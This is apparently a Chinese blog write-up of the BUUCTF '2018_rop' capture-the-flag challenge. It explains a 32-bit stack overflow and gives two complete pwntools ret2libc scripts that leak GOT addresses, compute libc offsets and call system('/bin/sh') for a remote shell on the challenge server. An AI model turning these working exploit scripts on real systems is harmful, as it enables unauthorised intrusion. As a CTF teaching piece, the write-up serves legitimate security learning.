[PWN] BUUCTF 铁人三项(第五赛区)_2018_rop 1(ret2libc3)

[PWN] BUUCTF 铁人三项(第五赛区)2018_rop_1

解题分析

按照惯例先checksec 一下,发现开了NX和RELRO
在这里插入图片描述
紧接着运行程序,了解运行逻辑,发现先让我们进行输入,然后再打印出"Hello,World"
在这里插入图片描述
用32位IDA打开,查看主要函数main和vulnerable_function,在main中除了write打印除"Hello,world"并没有发现别的。
在这里插入图片描述
而在vulnerable_function却发现buf只有0x88字节大小,但read却可以往buf中输入0x100字节,使所以存在栈溢出
在这里插入图片描述
shift+12后,发现没有可以直接利用的后门函数,则可发现是一个常规的32位libc泄露,首先利用write或read来泄露程序的libc版本,之后知道libc版本后,计算system函数以及binsh参数的地址,最后覆盖返回地址为system(‘/bin/sh’)来取得flag(从libc得到的是偏移地址,自己泄露的是函数的真正地址,所有函数的基址一致)

函数的真正地址 = 基地址 + 偏移地址
base_addr = read_addr - read_offset
sys_addr = system_offset + base_addr
bin_addr = binsh_offset + base_addr

在这里插入图片描述

payload分析

elf=ELF("./2018_rop")

调用2018_rop的elf文件,为下面找到main的地址,write的plt地址,write,read的got地址做准备

vul_addr=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
read_got=elf.got['read']

通过elf找到印write函数的plt表和got表的地址,以及main函数的地址
至于为什么要找到write的plt和got表地址,那么就要去了解Linux延迟绑定机制,plt存放的是进入这个函数的地址,而got表中存放的是这个函数的真正地址

payload = 'a'*(0x88+0x4)
payload += p32(write_plt)         #调用write函数把got表中的函数真实地址打印出来保存
payload += p32(vul_addr)          #返回地址,调用完write返回主要利用函数
payload += p32(1)                 #设置write的参数,保持可写
payload += p32(write_got)         #打印got中地址
payload += p32(4)                 #打印的字节数	

使用LibcSearcher来进行泄露libc,通过泄露的write地址来找到libc版本遗憾的是我的LibcSearcher中的Libc库没有这个题目的Libc所以找不到flag

payload1

#coding=utf-8
from pwn import *    #导入pwntools中的pwn包的所有内容
from LibcSearcher import*
context.terminal = ['terminator','-x','sh','-c']
p=remote("node3.buuoj.cn",28424)  #链接服务器远程交互,等同于nc、ip端口命令
elf=ELF("./2018_rop")
# libc = elf.libc

vul_addr=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
read_got=elf.got['read']

payload = 'a'*(0x88+0x4)
payload += p32(write_plt)         #调用write函数把got表中的函数真实地址打印出来保存
payload += p32(vul_addr)          #返回地址,调用完write返回主要利用函数
payload += p32(1)                 #设置write的参数,保持可写
payload += p32(write_got)         #打印got中地址
# payload += p32(read_got)
payload += p32(4)                 #打印的字节数

p.sendline(payload)
write_addr=u32(p.recv())
log.success('write==>'+hex(write_addr))



libc = LibcSearcher('write', write_addr)
libc_base=write_addr-libc.dump('write') 
sys_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump("str_bin_sh")

payload1 = "a" * 0x88
payload1 += "b"*4
payload1 += p32(sys_addr)+p32(1)+p32(bin_addr)
p.sendline(payload1)
p.interactive()

在这里插入图片描述
那么只能通过利用泄露出来的write或read后三位地址用https://libc.blukat.me/来查询libc版本以此来获取函数的偏移量,为了排除多余的libc,我这里泄露了write和read的地址来寻找正确的libc版本,从而得到偏移量
在这里插入图片描述

read_offset=0x0e5620
system_offset =0x03cd10
binsh_offset = 0x17b8cf

payload2

#coding=utf-8
from pwn import *    #导入pwntools中的pwn包的所有内容
from LibcSearcher import*
context.terminal = ['terminator','-x','sh','-c']
p=remote("node3.buuoj.cn",28424)  #链接服务器远程交互,等同于nc、ip端口命令
elf=ELF("./2018_rop")
# libc = elf.libc

vul_addr=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
read_got=elf.got['read']

payload = 'a'*(0x88+0x4)
payload += p32(write_plt)         #调用write函数把got表中的函数真实地址打印出来保存
payload += p32(vul_addr)          #返回地址,调用完write返回主要利用函数
payload += p32(1)                 #设置write的参数,保持可写
# payload += p32(write_got)         #打印got中地址
payload += p32(read_got)
payload += p32(4)                 #打印的字节数

p.sendline(payload)
read_addr=u32(p.recv())
log.success('read==>'+hex(read_addr))

read_offset=0x0e5620
system_offset =0x03cd10
binsh_offset = 0x17b8cf

base_addr = read_addr - read_offset
sys_addr = system_offset + base_addr
bin_addr = binsh_offset + base_addr




payload1 = "a" * 0x88
payload1 += "b"*4
payload1 += p32(sys_addr)+p32(1)+p32(bin_addr)
p.sendline(payload1)
p.interactive()

在这里插入图片描述Get!

参考

https://blog.csdn.net/qq_51032807/article/details/114808339?spm=1001.2014.3001.5501

  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
pwn ret2libc是一种攻击技术,其原理是通过利用程序中的栈溢出漏洞,来控制程序的执行流程,以达到执行libc中的函数的目的。 在ret2libc攻击中,程序会调用libc库中的函数,例如system函数,来执行特定的操作。但是在程序中没有自带的/bin/sh字符串,所以需要通过其他方式获取执行shell命令的能力。 具体而言,攻击者会利用程序中的栈溢出漏洞,将栈上的返回地址修改为在libc库中的某个函数的地址,例如puts函数。然后通过执行puts函数,将栈上保存的函数地址打印出来。由于libc库中的函数地址相对位置是不变的,攻击者可以根据已知的函数地址和libc的版本来计算system函数的真实地址。然后再利用system函数执行特定的操作,比如执行shell命令。 总结来说,pwn ret2libc攻击的原理是通过栈溢出漏洞修改返回地址为libc库中的一个函数地址,然后根据已知的函数地址和libc的版本计算出system函数的真实地址,最终实现执行shell命令的目的。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [pwn学习——ret2libc2](https://blog.csdn.net/MrTreebook/article/details/121595367)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [pwn小白入门06--ret2libc](https://blog.csdn.net/weixin_45943522/article/details/120469196)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值